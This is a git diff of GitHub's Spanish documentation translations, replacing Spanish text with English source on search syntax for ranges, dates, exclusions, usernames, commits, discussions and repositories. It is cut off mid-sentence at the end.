topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** matches repositories with the word "cats" that have 5 or more topics. +<n | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** matches code with the word "cats" in files that are smaller than 10 KB. +<=n | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** matches repositories with the word "cats" that have 50 or fewer stars. -| Consulta | Ejemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| >n | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** coincidirá con los repositorios que tengan la palabra "cats" y tengan más de 1000 estrellas. | -| >=n | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** coincidirá con los repositorios que tengan la palabra "cats" y tengan 5 o más temas. | -| <n | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** coincidirá con el código que tenga la palabra "cats" en los archivos que sean menores a 10 KB. | -| <=n | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** coincidirá con los repositorios que tengan la palabra "cats" y 50 estrellas o menos. | +You can also use [range queries](#query-for-values-between-a-range) to search for values that are greater than or equal to, or less than or equal to, another value. -También puedes utilizar [consultas por rango](#query-for-values-between-a-range) para buscar valores que sean mayores o iguales, o menores o iguales a otro valor. +Query | Example +------------- | ------------- +n..* | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** is equivalent to `stars:>=10` and matches repositories with the word "cats" that have 10 or more stars. +*..n | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** is equivalent to `stars:<=10` and matches repositories with the word "cats" that have 10 or fewer stars. -| Consulta | Ejemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| n..* | **[gatos estrellas:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** equivale a `estrellas:>=10` y busca repositorios con la palabra "gatos" que tengan 10 o más estrellas. | -| *..n | **[gatos estrellas:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** equivale a `estrellas:<=10` y busca repositorios con la palabra "gatos" que tengan 10 o menos estrellas. | +## Query for values between a range -## Consulta para valores entre un rango +You can use the range syntax n..n to search for values within a range, where the first number _n_ is the lowest value and the second is the highest value. -Puedes utilizar la sintaxis de rango n..n para buscar valores dentro de un rango, en los que el primer número _n_ sea el valor más bajo y el segundo sea el valor más alto. +Query | Example +------------- | ------------- +n..n | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** matches repositories with the word "cats" that have between 10 and 50 stars. -| Consulta | Ejemplo | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| n..n | **[gatos estrellas:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** busca repositorios con la palabra "gatos" que tengan entre 10 y 50 estrellas. | +## Query for dates -## Consulta por fechas +You can search for dates that are earlier or later than another date, or that fall within a range of dates, by using `>`, `>=`, `<`, `<=`, and [range queries](#query-for-values-between-a-range). {% data reusables.time_date.date_format %} -Puedes buscar fechas que sean anteriores o posteriores a otra fecha o que entren en un rango de fechas, utilizando `>`, `>=`, `<`, `<=` y [consultas por rango](#query-for-values-between-a-range). {% data reusables.time_date.date_format %} - -| Consulta | Ejemplo | -| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| >AAAA-MM-DD | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** coincidirá con informes de problemas que tengan la palabra "cats" y se hayan creado después del 29 de abril de 2016. | -| >=AAAA-MM-DD | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** coincidirá con informes de problemas que contengan la palabra "cats" y se hayan creado en o después del 1 de abril de 2017. | -| <AAAA-MM-DD | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** coincidirá con el código que contenga la palabra "cats" en los repositorios en los que se subió información antes del 5 de julio de 2012. | -| <=AAAA-MM-DD | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** coincidirá con los informes de problemas que contengan la palabra "cats" y se hayan creado en o antes del 4 de julio de 2012. | -| AAAA-MM-DD..AAAA-MM-DD | **[gatos subidos:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** busca repositorios con la palabra "gatos" que se hayan subido entre fines de abril y julio de 2016. | -| AAAA-MM-DD..* | **[gatos creados:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** busca propuestas que se hayan creado después del 30 de abril de 2012 y contengan la palabra "gatos". | -| *..AAAA-MM-DD | **[gatos creados:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** busca propuestas creadas antes del 4 de julio de 2012 que contengan la palabra "gatos". | +Query | Example +------------- | ------------- +>YYYY-MM-DD | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** matches issues with the word "cats" that were created after April 29, 2016. +>=YYYY-MM-DD | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** matches issues with the word "cats" that were created on or after April 1, 2017. +<YYYY-MM-DD | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** matches code with the word "cats" in repositories that were pushed to before July 5, 2012. +<=YYYY-MM-DD | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** matches issues with the word "cats" that were created on or before July 4, 2012. +YYYY-MM-DD..YYYY-MM-DD | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** matches repositories with the word "cats" that were pushed to between the end of April and July of 2016. +YYYY-MM-DD..* | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** matches issues created after April 30th, 2012 containing the word "cats." +*..YYYY-MM-DD | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** matches issues created before July 4th, 2012 containing the word "cats." {% data reusables.time_date.time_format %} -| Consulta | Ejemplo | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| AAAA-MM-DDTHH:MM:SS+00:00 | **[gatos creados:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** busca propuestas creadas entre el 1 de enero de 2017 a la 1 a. m. con una compensación de UTC de `07:00` y el 1 de marzo de 2017 a las 3 p. Con un desplazamiento UTC de `07:00` y 1 de marzo de 2017 a las 3 p.m. m. con una compensación de UTC de `07:00`. | -| AAAA-MM-DDTHH:MM:SSZ | **[gatos creados:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** busca propuestas creadas entre el 21 de marzo de 2016 a las 2:11 p. m. y el 7 de abril de 2106 a las 8:45 p. m. | +Query | Example +------------- | ------------- +YYYY-MM-DDTHH:MM:SS+00:00 | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** matches issues created between January 1, 2017 at 1 a.m. with a UTC offset of `07:00` and March 1, 2017 at 3 p.m. with a UTC offset of `07:00`. +YYYY-MM-DDTHH:MM:SSZ | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** matches issues created between March 21, 2016 at 2:11pm and April 7, 2106 at 8:45pm. -## Excluye determinados resultados +## Exclude certain results -Puedes excluir resultados que contengan una determinada palabra utilizando la sintaxis `NOT` (NO). El operador `NOT` solo se puede utilizar para las palabras clave en cadena. No funciona para números o fechas. +You can exclude results containing a certain word, using the `NOT` syntax. The `NOT` operator can only be used for string keywords. It does not work for numerals or dates. -| Consulta | Ejemplo | -| -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `NOT` | **[hola NOT mundo](https://github.com/search?q=hello+NOT+world&type=Repositories)** busca repositorios que tengan la palabra "hola", pero no la palabra "mundo" | +Query | Example +------------- | ------------- +`NOT` | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** matches repositories that have the word "hello" but not the word "world." -Otra manera de reducir los resultados de búsqueda es excluir determinados subconjuntos. Puedes usar como prefijo de cualquier calificador de búsqueda un `-` para excluir todos los resultados que coincidan con ese calificador. +Another way you can narrow down search results is to exclude certain subsets. You can prefix any search qualifier with a `-` to exclude all results that are matched by that qualifier. -| Consulta | Ejemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| -CALIFICADOR | **[cats stars:>10 -language:javascript](https://github.com/search?q=cats+stars%3A>10+-language%3Ajavascript&type=Repositories)** coincidirá con los repositorios que tengan la palabra "cats" y tengan más de 10 estrellas, pero no se hayan escrito en JavaScript. | -| | **[menciones:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** busca propuestas que mencionan a @defunkt y no estén en repositorios de la organización de GitHub | +Query | Example +------------- | ------------- +-QUALIFIER | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization. -## Utiliza comillas para las consultas con espacios en blanco +## Use quotation marks for queries with whitespace -Si tu consulta de búsqueda contiene espacios en blanco, tendrás que encerrarla entre comillas. Por ejemplo: +If your search query contains whitespace, you will need to surround it with quotation marks. For example: -* [gatos NOT "hola mundo"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) busca repositorios con la palabra "gatos", pero sin las palabras "hola mundo". -* [construir etiqueta:"corrección de error"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) busca propuestas con la palabra "construir" que tengan la etiqueta "corrección de error". +* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) matches repositories with the word "cats" but not the words "hello world." +* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) matches issues with the word "build" that have the label "bug fix." -Algunos símbolos que no son alfanuméricos, como los espacios, se quitan de las consultas de búsqueda de código que van entre comillas; por lo tanto, los resultados pueden ser imprevistos. +Some non-alphanumeric symbols, such as spaces, are dropped from code search queries within quotation marks, so results can be unexpected. {% ifversion fpt or ghes or ghae or ghec %} -## Consultas con nombres de usuario +## Queries with usernames -Si tu consulta de búsqueda contiene un calificador que requiere un nombre de usuario, tal como `user`, `actor`, o `assignee`, puedes utilizar cualquier nombre de usuario de {% data variables.product.product_name %} para especificar una persona en concreto, o utilizar `@me`, para especificar el usuario actual. +If your search query contains a qualifier that requires a username, such as `user`, `actor`, or `assignee`, you can use any {% data variables.product.product_name %} username, to specify a specific person, or `@me`, to specify the current user. -| Consulta | Ejemplo | -| -------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) coincidirá con las confirmaciones del autor @nat | -| `QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) coincidirá con los informes de problemas asignados a la persona que está viendo los resultados | +Query | Example +------------- | ------------- +`QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) matches commits authored by @nat +`QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) matches issues assigned to the person viewing the results -Solo puedes utilizar `@me` con un calificador y no como un término de búsqueda, tal como `@me main.workflow`. +You can only use `@me` with a qualifier and not as search term, such as `@me main.workflow`. {% endif %} diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-commits.md b/translations/es-ES/content/search-github/searching-on-github/searching-commits.md index 784d1b9e9d..e7f31a7604 100644 --- a/translations/es-ES/content/search-github/searching-on-github/searching-commits.md +++ b/translations/es-ES/content/search-github/searching-on-github/searching-commits.md @@ -105,9 +105,15 @@ To search commits in all repositories owned by a certain user or organization, u The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | Qualifier | Example -| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories.{% endif %} +| ------------- | ------------- | +{%- ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories. +{%- endif %} + +{%- ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories. +{%- endif %} + | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories. ## Further reading diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md b/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md index 039873f296..dfd0e87b86 100644 --- a/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md +++ b/translations/es-ES/content/search-github/searching-on-github/searching-discussions.md @@ -1,6 +1,6 @@ --- -title: Buscar debates -intro: 'Puedes buscar debates en {% data variables.product.product_name %} y reducir los resultados utilizando calificadores.' +title: Searching discussions +intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.' versions: fpt: '*' ghec: '*' @@ -11,104 +11,108 @@ redirect_from: - /github/searching-for-information-on-github/searching-on-github/searching-discussions --- -## Acerca de buscar debates +## About searching for discussions -Puedes buscar debates globalmente a través de todo {% data variables.product.product_name %}, o buscar debates dentro de una organización o repositorio específicos. Para obtener más información, consulta [Acerca de buscar en {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)". +You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)." {% data reusables.search.syntax_tips %} -## Buscar por título, cuerpo o comentarios +## Search by the title, body, or comments -Puedes restringir la búsqueda de debates al título, cuerpo o comentarios si utilizas el calificador `in`. También puedes combinar los calificadores para buscar una combinación de título, cuerpo o comentarios. Cuando omites el calificador `in`, {% data variables.product.product_name %} busca el título, cuerpo y comentarios. +With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments. -| Qualifier | Ejemplo | -|:------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) coincide con los debates que tengan "welcome" en el título. | -| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) coincide con los debates que tengan "onboard" en el título o en el cuerpo. | -| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) coincide con los debates que tengan "thanks" en sus comentarios. | +| Qualifier | Example | +| :- | :- | +| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. | +| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. | +| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. | -## Buscar dentro de los repositorios de un usuario u organización +## Search within a user's or organization's repositories -Para buscar los debates en todos los repositorios que pertenezcan a algún usuario u organización, puedes utilizar el calificador `user` o `org`. Para buscar los debates en un repositorio específico, puedes utilizar el calificador `repo`. +To search discussions in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier. -| Qualifier | Ejemplo | -|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) coincide con debates con la palabra "retroalimentación" de los repositorios que pertenezcan a @octocat. | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) coincide con los debates en los repositorios que pertenezcan a la organización GitHub. | -| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) coincide con los debates del proyecto de tiempo de ejecución de Node.js de @nodejs que se crearon antes de enero de 2021. | +| Qualifier | Example | +| :- | :- | +| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. | +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. | +| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. | -## Filtrar por visibilidad de repositorio +## Filter by repository visibility -Puedes filtrar los resultados por la visibilidad del repositorio que contenga los debates que utilicen el calificador `is`. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Calificador| Ejemplo | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) coincide con los debates en los repositorios públicos.{% endif %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) coincide con los debates en los repositorios internos. | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) coincide con los debates que contiene la palabra "tiramisu" en los repositorios privados a los que puedes acceder. +| Qualifier | Example +| :- | :- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} +| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access. -## Buscar por autor +## Search by author -El calificador `author` encuentra debates crean usuarios específicos. +The `author` qualifier finds discussions created by a certain user. -| Qualifier | Ejemplo | -|:------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) coincide con debates que tienen la palabra "cool" y que creó @octocat. | -| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) coincide con debates que creó @octocat y que contienen la palabra "bootstrap" enel cuerpo. | +| Qualifier | Example | +| :- | :- | +| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. | +| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. | -## Buscar por comentarista +## Search by commenter -El calificador `commenter` encuentra debates que contienen un comentario de un usuario específico. +The `commenter` qualifier finds discussions that contain a comment from a certain user. -| Qualifier | Ejemplo | -|:------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) coincide con debates en los repositorios que pertenecen a GitHub, los cuales contengan la palabra "github" y un comentario de @becca. | +| Qualifier | Example | +| :- | :- | +| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca. -## Buscar por un usuario que está involucrado en un debate +## Search by a user that's involved in a discussion -Puedes utilizar el calificador `involves` para encontrar debates que involucren a algún usuario. El calificador devuelve los debates que un usuario haya creado, que mencionen al usuario, o que contengan sus comentarios. El calificador `involves` es un operador lógico OR (o) entre los calificadores `author`, `mentions`, y `commenter` para un usuario único. +You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user. -| Qualifier | Ejemplo | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** coincide con debates en los que se involucre ya sea a @becca o a @octocat. | -| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) coincide con debates en los que se involucre a @becca, en los cuales no se contenga la palabra "beta" dentro del cuerpo. | +| Qualifier | Example | +| :- | :- | +| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in. +| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body. -## Buscar por cantidad de comentarios +## Search by number of comments -Puedes utilizar el calificador `comments` junto con los calificadores de mayor que, menor que y de rango para buscar por cantidad de comentarios. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -|:------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) coincide con debates de más de 100 comentarios. | -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) coincide con debates que tengan entre 500 y 1,000 comentarios. | +| Qualifier | Example | +| :- | :- | +| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000. -## Buscar por cantidad de interacciones +## Search by number of interactions -Puedes filtrar debates por el número de interacciones con el calificador `interactions` junto con los calificadores de mayor qué, menor qué y de rango. El conteo de interacciones es la cantidad de reacciones y comentarios en un debate. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------- | -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) coincide con los debates de más de 2,000 interacciones. | -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) coincide con los debates que tengan entre 500 y 1,000 interacciones. | +| Qualifier | Example | +| :- | :- | +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000. -## Buscar por cantidad de reacciones +## Search by number of reactions -Puedes filtrar los debates de acuerdo con la cantidad de reacciones si utilizas el calificador `reactions` junto con los calificadores de mayor qué, menor qué y rango. Para obtener más información, consulta la sección "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Ejemplo | -|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------- | -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) coincide con debates con más de 500 reacciones. | -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) coincide con los debtes que tengan entre 500 y 1,000 reacciones. | +| Qualifier | Example | +| :- | :- | +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000. -## Buscar por cuándo se creó o actualizó por última vez un debate +## Search by when a discussion was created or last updated -Puedes filtrar los debates con base en las fechas de creación o por cuándo se actualizaron por última vez. Para la creación de debates, puedes utilizar el calificador `created`; para saber cuándo se actualizó por última vez el debate, utiliza el calificador `updated`. +You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier. -Ambos calificadores toman la fecha como parámetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Ejemplo | -|:-------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) coincide con debates que se crearon después del 15 de noviembre de 2020. | -| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) coincide con debates que tengan la palabra "weird" en el cuerpo y que se hayan actualizado después de diciembre de 2020. | +| Qualifier | Example | +| :- | :- | +| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020. -## Leer más +## Further reading -- "[Clasificar los resultados de la búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md b/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md index e2b71e7def..d0f25c2d0c 100644 --- a/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md +++ b/translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md @@ -1,6 +1,6 @@ --- -title: Buscar repositorios -intro: 'Puedes buscar repositorios en {% data variables.product.product_name %} y acotar los resultados utilizando estos calificadores de búsqueda de repositorio en cualquier combinación.' +title: Searching for repositories +intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.' redirect_from: - /articles/searching-repositories/ - /articles/searching-for-repositories @@ -13,190 +13,193 @@ versions: ghec: '*' topics: - GitHub search -shortTitle: Buscar repositorios +shortTitle: Search for repositories --- +You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." -Puedes buscar 